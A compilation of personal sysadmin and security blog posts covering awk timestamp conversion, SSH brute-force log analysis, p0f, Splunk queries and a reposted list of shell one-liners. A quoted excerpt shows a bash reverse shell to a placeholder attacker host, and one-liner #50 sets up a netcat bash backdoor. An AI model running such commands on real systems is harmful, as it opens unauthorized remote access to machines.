Whilst there's always free tools like Splunk which is available for free to the masses (and yes, it does automatically convert epoch timestamps for you), there's always our "humble" awk.

The linux awk command has the ability to invoke other commands as part of its computation.  The date command can be used to convert epoch times to local times.  Putting both together would allow us to do just what we need here!

First some examples with the date command:

$ date -d @1280921130.313
Wed Aug  4 19:25:30 SGT 2010

Or should we want to get the dates only:

$ date -d @1280921130.313 +%D
08/04/10

Now, making use of awk to convert only one epoch timestamp:

$ echo -n "1280921130.313" | \
awk '{"date -d @"$1" +%D" | getline myvariable; print myvariable}'
08/04/10

The important part to note is that we must enclose the "external" command in quotes (we use the unquoted $1 variable to pass the epoch timestamp from awk), and that we pipe the output of that command to the getline directive in awk.  getline by itself would replace the $0 variable in awk when referencing it subsequently, whereas specifying a variable ("myvariable" in this example) would keep the $0 variable as it is, allowing you to use the variable to reference the output of the external command.

Final example showing how logs preprocessing using these commands might look like:

$ cat sample.log
1280921130.313 logentry1
1280921131.313 logentry2
1280921132.313 logentry3
1280921133.313 logentry4

$ cat sample.log | \
awk '{"date -d @"$1 | getline myvariable2; print myvariable2 "\t" $0}'
Wed Aug  4 19:25:30 SGT 2010    1280921130.313 logentry1
Wed Aug  4 19:25:31 SGT 2010    1280921131.313 logentry2
Wed Aug  4 19:25:32 SGT 2010    1280921132.313 logentry3
Wed Aug  4 19:25:33 SGT 2010    1280921133.313 logentry4

Have fun!

http://blog.rootshell.be/2011/05/05/binbash-phone-home/

Now the question will arise: when those network redirection could be helpful? First, bash can used without third party tools to grab data from the network. The example below fetch this blog main page:

  exec 5<> /dev/tcp/blog.rootshell.be/80
  printf "GET / HTTP/1.0nn" >&5
  cat <&5
  exec 5>&-

Very convenient if you don’t have link or curl installed. Just pipe the output to other commands. This can be used to generate dictionary files to conduct a bruteforce attack:

  exec 5<> /dev/tcp/blog.rootshell.be/80
  printf "GET / HTTP/1.0nn" >&5
  cat <&5
  exec 5>&- | sed -e 's/<[!a-zA-Z/][^>]*>//g' foo.tmp | tr " " "n"

Another nice example is to make bash “phone home”. Let’s launch a reverse shell to an attacker box:

  victim# bash 0</dev/tcp/www.attacker.com/8888 1>&0 2>&0

As the bash shell is very common, it can be very interesting! Just use your imagination. to find other examples. A final remark: this feature is not available on all pre-compiled or packaged bash instances! Some UNIX flavors consider it as dangerous (which is true!). If you want to compile your own bash with this feature enabled, the configuration flag is “–enable-net-redirections“.

Also, a tool to help with PDF creation/modification/analysis.  Sounds promising:

http://code.google.com/p/peepdf/

peepdf is a Python tool to explore PDF files in order to find out if the file can be harmful or not. The aim of this tool is to provide all the necessary components that a security researcher could need in a PDF analysis without using 3 or 4 tools to make all the tasks. With peepdf it's possible to see all the objects in the document showing the suspicious elements, supports all the most used filters and encodings, it can parse different versions of a file, object streams and encrypted files. With the installation of Spidermonkey and Libemu it provides Javascript and shellcode analysis wrappers too. Apart of this it's able to create new PDF files and to modify existent ones.

Proper setting up and regular monitoring of logs gives you the avenue to know what's really happening with your box sitting out there in the internets, and to anticipate when bad things are about to happen.  One of the warning signs would be that someone has been poking around your box, looking for an (easy?) way in.

The natural thing that would jump out at you then, is that this someone has been accessing your box in far higher volumes/durations, especially on services that should not be accessed by others.

This is one example of such accesses on a linux box: SSHD brute forcing over long periods of time.

Note: This post is more to talk about the process of digging/profiling, rather than the actual setup processes/log sources involved.  Feel free to ping me/comment below if you wish to discuss though.

The first thing you may ask is: what is "persistent"?  This would be the opposite of the run-of-the-mill opportunistic attackers.  These guys tend to bang your machine for a bit, then leave you alone immediately after failing:

Opportunistic attack: Tries and gives up.

This contrasts greatly with the persistent buggers:

Whoa!

After digging around first on the IP and supposed country of origin, we want to find out what did the attacker try to do?  One of the logs (*cough*... p0f... *cough*...) feeds info on the ports that were attempted to connect to, this could be a starting point:

Mostly port 22 (SSH), only 1 for port 80 (HTTP)?

Searching for and viewing the port 80 access attempt, by itself and in relation to the other activities shows the following:

Pinpointing the port 80 connection

Viewing the logs in chronological order (Splunk defaults to reverse chronological)

Viewing the logs in chronological order (Splunk defaults to reverse chronological) shows that the port 80 connection preceeded the many many many port 22 connections by 2 minutes.  What's going on here?  If somebody wanted to get at the SSH accounts, why not go for them straight, rather than accessing the web service only once?  Checking the web access logs might give the answer we're looking for:

So in that TCP/80 connection....NOTHING was retrieved

Accessing nothing in that (only) one connection makes this look like a ping of sorts, but we can't be certain.

The next thing is to look at what this somebody was doing over the past two weeks!  First we get an idea of the kinds of things that were happening:

Mostly "Attempts to login using a non-existent user", ala our dear Mr Force, Brute Force

...and "SSH scan"

What do these SSH scans mean?

Just means that the SSH handshake was not properly done/completed.

Since we already know that this is a brute force attempt, judging by the frequency of the failed SSH handshakes per day we can assume for now that they're just resulting from either the connections being blocked, or just "normal" failures in the midst of thousands of attempts.  More can be done to confirm this by zooming into the times where these errors occur, but let's say we're not interested in confirming this fact for now.

Looking at the nature of the attack provides some clues on the tools being used too.  For that we extract some stats concerning the tool's attack:

Extracting and counting targeted SSH userids show that 473 userids are attempted in a range from 1 to 21 times each

First occurrence of each targeted userid is spread out fairly evenly throughout the time period...

...and last occurrences of each userid being fairly even throughout too.

More stats would be needed depending on the theory you're trying to prove/disprove, but you get the picture.

One of the things I usually would want to see is the list of userids used to brute force.  In this case, it looks like a predominantly Japanese/Chinese wordlist/namelist being used.  Interesting.

Am I Japanese? Am I Chinese?

Maybe I should start blogging in other languages to see what kind of brute force wordlists turn up

For now, in any case, 122.166.127.116 (abts-kk-static-116.127.166.122.airtelbroadband.in), I AM WATCHING YOU.

I did NOT write these, see the links below:

[via URFIX #1 #2 #3]

1) sshfs name@server:/path/to/folder /path/to/mount/point
Mount folder/filesystem through SSH
Install SSHFS from http://fuse.sourceforge.net/sshfs.html
Will allow you to mount a folder security over a network.

2) !!:gs/foo/bar
Runs previous command replacing foo by bar every time that foo appears
Very useful for rerunning a long command changing some arguments globally.
As opposed to ^foo^bar, which only replaces the first occurrence of foo, this one changes every occurrence.

3) mount | column -t
currently mounted filesystems in nice layout
Particularly useful if you’re mounting different drives, using the following command will allow you to see all the filesystems currently mounted on your computer and their respective specs with the added benefit of nice formatting.

4) <space>command
Execute a command without saving it in the history
Prepending one or more spaces to your command won’t be saved in history.
Useful for pr0n or passwords on the commandline.

5) ssh user@host cat /path/to/remotefile | diff /path/to/localfile -
Compare a remote file with a local file
Useful for checking if there are differences between local and remote files.

6) mount -t tmpfs tmpfs /mnt -o size=1024m
Mount a temporary ram partition
Makes a partition in ram which is useful if you need a temporary working space as read/write access is fast.
Be aware that anything saved in this partition will be gone after your computer is turned off.

7) dig +short txt <keyword>.wp.dg.cx
Query Wikipedia via console over DNS
Query Wikipedia by issuing a DNS query for a TXT record. The TXT record will also include a short URL to the complete corresponding Wikipedia entry.

8 ) netstat -tlnp
Lists all listening ports together with the PID of the associated process
The PID will only be printed if you’re holding a root equivalent ID.

9) dd if=/dev/dsp | ssh -c arcfour -C username@host dd of=/dev/dsp
output your microphone to a remote computer’s speaker
This will output the sound from your microphone port to the ssh target computer’s speaker port. The sound quality is very bad, so you will hear a lot of hissing.

10) echo “ls -l” | at midnight
Execute a command at a given time
This is an alternative to cron which allows a one-off task to be scheduled for a certain time.

11) curl -u user:pass -d status=”Tweeting from the shell” http://twitter.com/statuses/update.xml
Update twitter via curl

12) ssh -N -L2001:localhost:80 somemachine
start a tunnel from some machine’s port 80 to your local post 2001
now you can acces the website by going to http://localhost:2001/

13) reset
Salvage a borked terminal
If you bork your terminal by sending binary data to STDOUT or similar, you can get your terminal back using this command rather than killing and restarting the session. Note that you often won’t be able to see the characters as you type them.

14) ffmpeg -f x11grab -s wxga -r 25 -i :0.0 -sameq /tmp/out.mpg
Capture video of a linux desktop

15) > file.txt
Empty a file
For when you want to flush all content from a file without removing it (hat-tip to Marc Kilgus).

16) $ssh-copy-id user@host
Copy ssh keys to user@host to enable password-less ssh logins.
To generate the keys use the command ssh-keygen

17) ctrl-x e
Rapidly invoke an editor to write a long, complex, or tricky command
Next time you are using your shell, try typing ctrl-x e (that is holding control key press x and then e). The shell will take what you’ve written on the command line thus far and paste it into the editor specified by $EDITOR. Then you can edit at leisure using all the powerful macros and commands of vi, emacs, nano, or whatever.

18) !whatever:p
Check command history, but avoid running it
!whatever will search your command history and execute the first command that matches ‘whatever’. If you don’t feel safe doing this put :p on the end to print without executing. Recommended when running as superuser.

19) mtr google.com
mtr, better than traceroute and ping combined
mtr combines the functionality of the traceroute and ping programs in a single network diagnostic tool.
As mtr starts, it investigates the network connection between the host mtr runs on and HOSTNAME. by sending packets with purposly low TTLs. It continues to send packets with low TTL, noting the response time of the intervening routers. This allows mtr to print the response percentage and response times of the internet route to HOSTNAME. A sudden increase in packetloss or response time is often an indication of a bad (or simply over‐loaded) link.

20) cp filename{,.bak}
quickly backup or copy a file with bash

21) ^foo^bar
Runs previous command but replacing
Really useful for when you have a typo in a previous command. Also, arguments default to empty so if you accidentally run:
echo “no typozs”
you can correct it with
^z

22) cd -
change to the previous working directory

23):w !sudo tee %
Save a file you edited in vim without the needed permissions
I often forget to sudo before editing a file I don’t have write permissions on. When you come to save that file and get the infamous “E212: Can’t open file for writing”, just issue that vim command in order to save the file without the need to save it to a temp file and then copy it back again.

24) python -m SimpleHTTPServer
Serve current directory tree at http://$HOSTNAME:8000/

25) sudo !!
Run the last command as root
Useful when you forget to use sudo for a command. “!!” grabs the last run command.

26) LIKE TOP, BUT FOR FILES
watch -d -n 2 ‘df; ls -FlAt;’

27) DOWNLOAD AN ENTIRE WEBSITE
wget -random-wait -r -p -e robots=off -U mozilla http://www.example.com
-p parameter tells wget to include all files, including images.
-e robots=off you don’t want wget to obey by the robots.txt file
-U mozilla as your browsers identity.
-random-wait to let wget chose a random number of seconds to wait, avoid get into black list.

Other Useful wget Parameters:
-limit-rate=20k limits the rate at which it downloads files.
-b continues wget after logging out.
-o $HOME/wget_log.txt logs the output

28) LIST THE SIZE (IN HUMAN READABLE FORM) OF ALL SUB FOLDERS FROM THE CURRENT LOCATION
du -h -max-depth=1

29) A VERY SIMPLE AND USEFUL STOPWATCH
time read (ctrl-d to stop)
time read -sn1 (s:silent, n:number of characters. Press any character to stop)

30) QUICK ACCESS TO THE ASCII TABLE.
man ascii

31) SHUTDOWN A WINDOWS MACHINE FROM LINUX
net rpc shutdown -I ipAddressOfWindowsPC -U username%password
This will issue a shutdown command to the Windows machine. username must be an administrator on the Windows machine. Requires samba-common package installed. Other relevant commands are:
net rpc shutdown -r : reboot the Windows machine
net rpc abortshutdown : abort shutdown of the Windows machine

Type:
net rpc
to show all relevant commands

32) JUMP TO A DIRECTORY, EXECUTE A COMMAND AND JUMP BACK TO CURRENT DIR
(cd /tmp && ls)

33) DISPLAY THE TOP TEN RUNNING PROCESSES – SORTED BY MEMORY USAGE
ps aux | sort -nk +4 | tail
ps returns all running processes which are then sorted by the 4th field in numerical order and the top 10 are sent to STDOUT.

34) LIST OF COMMANDS YOU USE MOST OFTEN
history | awk ‘{a[$2]++}END{for(i in a){print a[i] ” ” i}}’ | sort -rn | head

35) REBOOT MACHINE WHEN EVERYTHING IS HANGING (RAISING A SKINNY ELEPHANT)
<alt> + <print screen/sys rq> + <R> – <S> – <E> – <I> – <U> – <B>
If the machine is hanging and the only help would be the power button, this key-combination will help to reboot your machine (more or less) gracefully.
R – gives back control of the keyboard
S – issues a sync
E – sends all processes but init the term singal
I – sends all processes but init the kill signal
U – mounts all filesystem ro to prevent a fsck at reboot
B – reboots the system
Save your file before trying this out, this will reboot your machine without warning!

http://en.wikipedia.org/wiki/Magic_SysRq_key

36) MAKE ‘LESS’ BEHAVE LIKE ‘TAIL -F’
less +F somelogfile
Using +F will put less in follow mode. This works similar to ‘tail -f’. To stop scrolling, use the interrupt. Then you’ll get the normal benefits of less (scroll, etc.).
Pressing SHIFT-F will resume the ‘tailling’.

37) SET AUDIBLE ALARM WHEN AN IP ADDRESS COMES ONLINE
ping -i 60 -a IP_address
Waiting for your server to finish rebooting? Issue the command above and you will hear a beep when it comes online. The -i 60 flag tells ping to wait for 60 seconds between ping, putting less strain on your system. Vary it to your need. The -a flag tells ping to include an audible bell in the output when a package is received (that is, when your server comes online).

38) BACKTICKS ARE EVIL
echo “The date is: $(date +%D)”
This is a simple example of using proper command nesting using $() over “. There are a number of advantages of $() over backticks. First, they can be easily nested without escapes:

program1 $(program2 $(program3 $(program4)))versus

program1 `program2 \`program3 \`program4\`\``Second, they’re easier to read, then trying to decipher the difference between the backtick and the singlequote: `’. The only drawback $() suffers from is lack of total portability. If your script must be portable to the archaic Bourne shell, or old versions of the C-shell or Korn shell, then backticks are appropriate, otherwise, we should all get into the habit of $(). Your future script maintainers will thank you for producing cleaner code.

39) SIMULATE TYPING
echo “You can simulate on-screen typing just like in the movies” | pv -qL 10
This will output the characters at 10 per second.

40) PYTHON SMTP SERVER
python -m smtpd -n -c DebuggingServer localhost:1025
This command will start a simple SMTP server listening on port 1025 of localhost. This server simply prints to standard output all email headers and the email body.

41) WATCH NETWORK SERVICE ACTIVITY IN REAL-TIME
lsof -i

42) DIFF TWO UNSORTED FILES WITHOUT CREATING TEMPORARY FILES
diff <(sort file1) <(sort file2)
bash/ksh subshell redirection (as file descriptors) used as input to diff

43) RIP AUDIO FROM A VIDEO FILE.
mplayer -ao pcm -vo null -vc dummy -dumpaudio -dumpfile <output-file> <input-file>
replace accordingly

44) MATRIX STYLE
tr -c “[:digit:]” ” ” < /dev/urandom | dd cbs=$COLUMNS conv=unblock | GREP_COLOR=”1;32″ grep -color “[^ ]“

45) THIS COMMAND WILL SHOW YOU ALL THE STRING (PLAIN TEXT) VALUES IN RAM
sudo dd if=/dev/mem | cat | strings
A fun thing to do with ram is actually open it up and take a peek.

46) DISPLAY WHICH DISTRO IS INSTALLED
cat /etc/issue

47) EASILY SEARCH RUNNING PROCESSES (ALIAS).
alias ‘ps?’='ps ax | grep ‘

48) CREATE A SCRIPT OF THE LAST EXECUTED COMMAND
echo “!!” > foo.sh
Sometimes commands are long, but useful, so it’s helpful to be able to make them permanent without having to retype them. An alternative could use the history command, and a cut/sed line that works on your platform.
history -1 | cut -c 7- > foo.sh

49) EXTRACT TARBALL FROM INTERNET WITHOUT LOCAL SAVING
wget -qO – “http://www.tarball.com/tarball.gz” | tar zxvf -

50) CREATE A BACKDOOR ON A MACHINE TO ALLOW REMOTE CONNECTION TO BASH
nc -vv -l -p 1234 -e /bin/bash

This will launch a listener on the machine that will wait for a connection on port 1234. When you connect from a remote machine with something like :
nc 192.168.0.1 1234

You will have console access to the machine through bash. (be careful with this one)

51) MONITOR PROGRESS OF A COMMAND
pv access.log | gzip > access.log.gz

Pipe viewer is a terminal-based tool for monitoring the progress of data through a pipeline. It can be inserted into any normal pipeline between two processes to give a visual indication of how quickly data is passing through, how long it has taken, how near to completion it is, and an estimate of how long it will be until completion. Source: http://www.catonmat.net/blog/unix-utilities-pipe-viewer/

52) GRAPHICAL TREE OF SUB-DIRECTORIES
ls -R | grep ":$" | sed -e 's/:$//' -e 's/[^-][^\/]*\//--/g' -e 's/^/   /' -e 's/-/|/'
Prints a graphical directory tree from your current directory

53) DELETE ALL FILES IN A FOLDER THAT DON’T MATCH A CERTAIN FILE EXTENSION
rm !(*.foo|*.bar|*.baz)
Deletes all files in a folder that are NOT *.foo, *.bar or *.baz files. Edit the pattern inside the brackets as you like.

54) EASY AND FAST ACCESS TO OFTEN EXECUTED COMMANDS THAT ARE VERY LONG AND COMPLEX.
some_very_long_and_complex_command # label
When using reverse-i-search you have to type some part of the command that you want to retrieve. However, if the command is very complex it might be difficult to recall the parts that will uniquely identify this command. Using the above trick it’s possible to label your commands and access them easily by pressing ^R and typing the label (should be short and descriptive).

55) DEFINE A QUICK CALCULATOR FUNCTION
? () { echo "$*" | bc -l; }
defines a handy function for quick calculations from cli.

once defined:
? 10*2+3

56) DISPLAY A COOL CLOCK ON YOUR TERMINAL
watch -t -n1 "date +%T|figlet"
This command displays a clock on your terminal which updates the time every second. Press Ctrl-C to exit.

A couple of variants:

A little bit bigger text:
watch -t -n1 "date +%T|figlet -f big"You can try other figlet fonts, too.

Big sideways characters:
watch -n 1 -t '/usr/games/banner -w 30 $(date +%M:%S)'This requires a particular version of banner and a 40-line terminal or you can adjust the width (“30″ here).

57) INTERCEPT STDOUT/STDERR OF ANOTHER PROCESS
strace -ff -e trace=write -e write=1,2 -p SOME_PID

58) REMOVE DUPLICATE ENTRIES IN A FILE WITHOUT SORTING.
awk '!x[$0]++' <file>
Using awk, find duplicates in a file without sorting, which reorders the contents. awk will not reorder them, and still find and remove duplicates which you can then redirect into another file.

59) RECORD A SCREENCAST AND CONVERT IT TO AN MPEG
ffmpeg -f x11grab -r 25 -s 800x600 -i :0.0 /tmp/outputFile.mpg
Grab X11 input and create an MPEG at 25 fps with the resolution 800×600

60) MOUNT A .ISO FILE IN UNIX/LINUX
mount /path/to/file.iso /mnt/cdrom -oloop
“-o loop” lets you use a file as a block device

61) INSERT THE LAST COMMAND WITHOUT THE LAST ARGUMENT (BASH)
!:-
/usr/sbin/ab2 -f TLS1 -S -n 1000 -c 100 -t 2 http://www.google.com/

then

!:- http://www.urfix.com/is the same as
/usr/sbin/ab2 -f TLS1 -S -n 1000 -c 100 -t 2 http://www.urfix.com/

62) CONVERT SECONDS TO HUMAN-READABLE FORMAT
date -d@1234567890
This example, for example, produces the output, “Fri Feb 13 15:26:30 EST 2009″

63) JOB CONTROL
^Z $bg $disown
You’re running a script, command, whatever.. You don’t expect it to take long, now 5pm has rolled around and you’re ready to go home… Wait, it’s still running… You forgot to nohup it before running it… Suspend it, send it to the background, then disown it… The ouput wont go anywhere, but at least the command will still run…

64) EDIT A FILE ON A REMOTE HOST USING VIM
vim scp://username@host//path/to/somefile

65) MONITOR THE QUERIES BEING RUN BY MYSQL
watch -n 1 mysqladmin --user=<user> --password=<password> processlist
Watch is a very useful command for periodically running another command – in this using mysqladmin to display the processlist. This is useful for monitoring which queries are causing your server to clog up.

More info here: http://codeinthehole.com/archives/2-Monitoring-MySQL-processes.html

66) ESCAPE ANY COMMAND ALIASES
\[command]

e.g. if rm is aliased for ‘rm -i’, you can escape the alias by prepending a backslash:
rm [file] # WILL prompt for confirmation per the alias
\rm [file] # will NOT prompt for confirmation per the default behavior of the command

67) SHOW APPS THAT USE INTERNET CONNECTION AT THE MOMENT. (MULTI-LANGUAGE)
ss -p
for one line per process:

ss -p | catfor established sockets only:
ss -p | grep STAfor just process names:
ss -p | cut -f2 -sd\"or
ss -p | grep STA | cut -f2 -d\"

68) SEND POP-UP NOTIFICATIONS ON GNOME
notify-send ["<title>"] "<body>"
The title is optional.

Options:
-t: expire time in milliseconds.
-u: urgency (low, normal, critical).
-i: icon path.

On Debian-based systems you may need to install the ‘libnotify-bin’ package.
Useful to advise when a wget download or a simulation ends. Example:
wget URL ; notify-send "Done"

69) QUICKLY RENAME A FILE
mv filename.{old,new}

70) REMOVE ALL BUT ONE SPECIFIC FILE
rm -f !(survivior.txt)

71) GENERATE A RANDOM PASSWORD 30 CHARACTERS LONG
strings /dev/urandom | grep -o '[[:alnum:]]' | head -n 30 | tr -d '\n'; echo
Find random strings within /dev/urandom. Using grep filter to just Alphanumeric characters, and then print the first 30 and remove all the line feeds.

72) RUN A COMMAND ONLY WHEN LOAD AVERAGE IS BELOW A CERTAIN THRESHOLD
echo "rm -rf /unwanted-but-large/folder" | batch
Good for one off jobs that you want to run at a quiet time. The default threshold is a load average of 0.8 but this can be set using atrun.

73) BINARY CLOCK
watch -n 1 'echo "obase=2;`date +%s`" | bc'
Create a binary clock.

74) PROCESSOR / MEMORY BANDWIDTHD? IN GB/S
dd if=/dev/zero of=/dev/null bs=1M count=32768
Read 32GB zero’s and throw them away.
How fast is your system?

75) BACKUP ALL MYSQL DATABASES TO INDIVIDUAL FILES
for I in $(mysql -e 'show databases' -s --skip-column-names); do mysqldump $I | gzip > "$I.sql.gz"; done

To get the Samsung Galaxy S working with the Android SDK in Ubuntu, some setup is needed, else you'll be getting errors like this:

? adb devices
List of devices attached
????????????	no permissions

I did these on a Ubuntu Lucid Lynx, but this should work for other versions/distro of Linux too I think.

1)
Change to root

? sudo -

2)
Create the needed file. 04e8 refers to the Vendor ID for the Samsung manufacturer.

# echo 'SUBSYSTEM=="usb", SYSFS{idVendor}=="04e8", MODE="0666"' >> /etc/udev/rules.d/51-android.rules

3)
Restart the udev service

# /etc/init.d/udev restart

4)
Plug in the phone (make sure debugging mode is already enabled), and run adb as needed

? adb devices
* daemon not running. starting it now on port 5037 *
* daemon started successfully *
List of devices attached
[device-id]    device

Hope this helps whoever needs this.

Looks like I'll have to look into further automating some of the tasks...

You need to install the geoip-bin package in Ubuntu/Debian's APT system:

sudo apt-get install geoip-bin

Then after which, lookups can be done as simply as:

$ geoiplookup 8.8.8.8
GeoIP Country Edition: US, United States

Note that the lookups are based on the GeoLite Country database.  For more detailed geoip lookups you will need to buy the better databases.

Taking a search through Ubuntu's APT system, to see whether any IDN related tools are available...

$ apt-cache search punycode

libidn11 - GNU Libidn library, implementation of IETF IDN specifications
libidn11-dev - Development files for GNU Libidn, an IDN library
idn - Command line and Emacs interface to GNU Libidn
libidn11-java - Java port of the GNU Libidn library, an IDN implementation
libidna-punycode-perl - encodes Unicode string in Punycode

There's the idn package!  Which allows encoding of IDNs in punycode in the command line...

Doing an install...

$ sudo apt-get install idn -y

And trying it out!

$ idn правительство.рф

libidn 1.15
Copyright 2002, 2003, 2004, 2005, 2006, 2007, 2008, 2009 Simon Josefsson.
GNU Libidn comes with NO WARRANTY, to the extent permitted by law.
You may redistribute copies of GNU Libidn under the terms of
the GNU Lesser General Public License.  For more information
about these matters, see the file named COPYING.LIB.
xn--80aealotwbjpid2k.xn--p1ai

And resolving the domain...

$ nslookup xn--80aealotwbjpid2k.xn--p1ai

Non-authoritative answer:
Name:	xn--80aealotwbjpid2k.xn--p1ai
Address: 95.173.135.62

Note that resolving the domain directly results in rubbish!

$ nslookup правительство.рф

Non-authoritative answer:
Name:	\208\191\209\128\208\176\208\178\208\184\209\130\208\181\208\187\209\140\209\129\209\130\208\178\208\190.\209\128\209\132
Address: 67.215.65.132

So, basically from this we understand that applications will need to use the punycode encoded version of the IDN, NOT the original IDN, when resolving.  And there're tools out there already can do that for us.

Since Ubuntu has these packages, Debian would also have the corresponding packages available too.

p0f allows you to determine the OS of the remote machine based on the TCP fields characteristics.  It can also tell whether the machine is behind a firewall, what kind of internet connection it is running from...pretty useful for information junkies like me

Here's what I did:

./p0f -t -u MyUseridHere -i eth0 'src not MyIPAddressHere' | tee -a p0f.log

Runs p0f, logging with actual timestamps (-t), chroot and setuid to MyUserIdHere (-u), listening on eth0 (-i), and filtering out packets for connections initiated from my machine itself (since I'm not interested in profiling my own machine).

tee is a (really nifty!) linux command.  What it does is to "split" the input (stdin) to two parts: stdout and the file specified.  The -a option tells it to append to the file instead of overwriting it.

Using this, p0f outputs logs like this one:

<Sat Jul  3 07:03:56 2010> 175.40.12.47:1095 - Windows 2000 SP2+, XP SP1+ (seldom 98)
-> 74.207.229.183:80 (distance 12, link: sometimes DSL (2))

One of the Splunk queries that I poked around with:

| file /path/to/p0f.log | rex field=_raw "> (?<srcip>[^:]+):(?<srcport>[^ ]+) - (?<srcos>.+?) \(" | rex field=_raw "-> (?<dstip>[^:]+):(?<dstport>[^ ]+) " | regex srcos!="UNKNOWN" | top limit=0 srcos

This query extracts out the source and destination IP and port, and the source OS.  Then after filtering out the OS tagged with UNKNOWN, the remaining entries are ranked...

The resulting chart, of not much real interest by itself, just shows that other than that the connections are predominantly from linux machines (hurhur), and there's a connection from a really old Netware machine (5 was released in Oct 1998!).

1.---

This one is a Splunk query, run over the span of the last 7 days:

sourcetype="ossec_alerts" rule_number="5710"|

rex field=_raw "Invalid user (?<userid>[^ ]+) from"|

fields + src_ip,userid|fields - _*|

dedup src_ip userid|

outputcsv ssh-atk-attempts-userid-ip

2.---

Then some data massaging on the csv file...

[edit: this is not needed...just output the csv file with the fields in the order you want...and read the next post for better options with 2-column csv inputs]

cat ssh-atk-attempts-userid-ip.csv | \

sed 's/^.*$/&,server/' > ssh-atk-attempts-userid-ip2.csv

3.---

Then running it thru Afterglow and GraphViz's neato...

cat ssh-atk-attempts-userid-ip2.csv | \

./afterglow.pl | neato -Tgif -o ssh-atk-ip-userid.gif

Seems like very little overlap in the userids that were attempted (with the exception of the few favourites like root, guest, test).  A coordinated/distributed attack perhaps?  Haven't dug more into the IPs in question, but I'm pretty sure that they'd be broadband addresses, meaning that they are bots.

Of course we could try with a larger timespan, but the result isn't really readable... The resulting 1MB file (1813 x 1704 px) for over all time in Splunk only looks pretty, and not readable.

[edit: there're better results in the next post!]